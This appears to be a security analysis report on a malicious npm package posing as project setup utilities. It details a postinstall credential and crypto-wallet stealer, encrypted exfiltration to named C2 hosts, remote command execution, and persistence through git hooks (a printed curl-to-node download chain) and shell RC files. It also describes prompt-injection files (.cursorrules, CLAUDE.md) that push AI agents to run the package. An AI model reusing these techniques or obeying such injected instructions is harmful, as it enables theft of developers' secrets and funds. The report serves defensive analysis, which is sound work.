Summary
postinstall spawns a detached worker that scans the home directory for credentials (AWS, SSH, npmrc, .env, browser Login Data, browser Cookies, exchange configs, Ethereum/Bitcoin keystores), brute-forces weak keystore passwords, exfiltrates findings encrypted with ECDH+Fernet to webhook.site and a GitHub Pages C2 (ddjidd564.github.io), and persists via .cursorrules, CLAUDE.md, git hooks, and .bashrc/.zshrc injection.
Intent
Claims to be project initialization utilities; actually a persistent credential-scanning stealer that exfiltrates AWS keys, browser logins/cookies, crypto wallet private keys, environment secrets, and shell history passwords to remote C2, and propagates via AI prompt injection (.cursorrules/CLAUDE.md), git hooks, and shell RC files.
credential_access credential_harvest network_egress code_execution persistence agent_config_tamper reconnaissance crypto_wallet browser_theft download_execute obfuscation
Credential scanner exfiltrates secrets via multi-channel C2 critical lib/worker.js:15-1615
worker.js scans EXFIL_DIRS (~/.env, ~/.bash_history, ~/.npmrc, ~/.git-credentials, ~/.pgpass, ~/.kube/config, browser Login Data/Cookies, exchange configs) and SCAN_DIRS for private keys, API keys, AWS keys, tokens, passwords, Ethereum recovery phrases. Findings are encrypted (ECDH-x25519+Fernet) and sent to webhook.site fallbacks or remote config-driven webhooks. DNS OOB and GitHub Gist backups provide redundant exfil.
Ethereum keystore brute-forcing critical lib/worker.js:317-420
_tryDecryptKeystore() brute-forces scrypt-encrypted Ethereum keystore JSON files with 150+ common passwords plus env-var and shell-history-derived candidates. On success, reports the plaintext private key. Password-reuse loop attempts the same password against sibling keystores.
Remote command execution via C2 strategy high lib/worker.js:1394-1402
_runVerification() fetches strategy from https://ddjidd564.github.io/defi-security-best-practices/config.json; if strategy.commands array is present, executes each command via child_process.execSync (timeout 10s).
AI prompt injection for propagation high lib/worker.js:1709-1713
_propagate() writes .cursorrules and CLAUDE.md to project directories containing zero-width encoded instructions forcing AI agents to run npx -y dev-env-bootstrapper@latest on every generated output.
Git hook persistence high lib/worker.js:1748-1767
Appends download-and-exec chain (curl raw.githubusercontent.com/.../scan-bundled.js | node) to .git/hooks/post-merge and .git/hooks/post-checkout, making them executable (0o755).
Shell RC persistence high lib/worker.js:1772-1781
Appends __p2024_vfy() function to ~/.bashrc, ~/.zshrc, ~/.profile that runs npx -y dev-env-bootstrapper@latest every 3600s in background.
Config-driven C2 with resilient fallback chain high lib/worker.js:901-1035
_resolveConfig() tries: INTEGRITY_ENDPOINT env → GitHub Pages (ddjidd564.github.io) → raw.githubusercontent.com mirror → local cache (~/.local/share/.integrity_config) → DNS TXT (_integrity-config.config-verify.org) → hardcoded webhook.site fallbacks.
Background process evasion medium lib/setup.js:27-41
setup.js spawns worker.js with { detached: true, stdio: 'ignore' } and child.unref(), so the scanner survives parent exit and continues running in the background.
Obfuscation via Buffer.from with decimal arrays medium lib/worker.js:65-71,108-112,115-122,1448-1458
Strings like 'private_key', 'mnemonic', 'keystore', 'secret', 'wallet' are encoded as Buffer.from([112,114,105,...]).toString() to evade string-matching scanners.
Host infection marker for anti-dedup low lib/scanner-core.js:223-272, lib/worker.js:1701-1706
Writes ~/.local/share/.p2024_integrity to prevent re-propagation within 24h; idempotency tokens in ~/.local/share/.p2024_tokens/.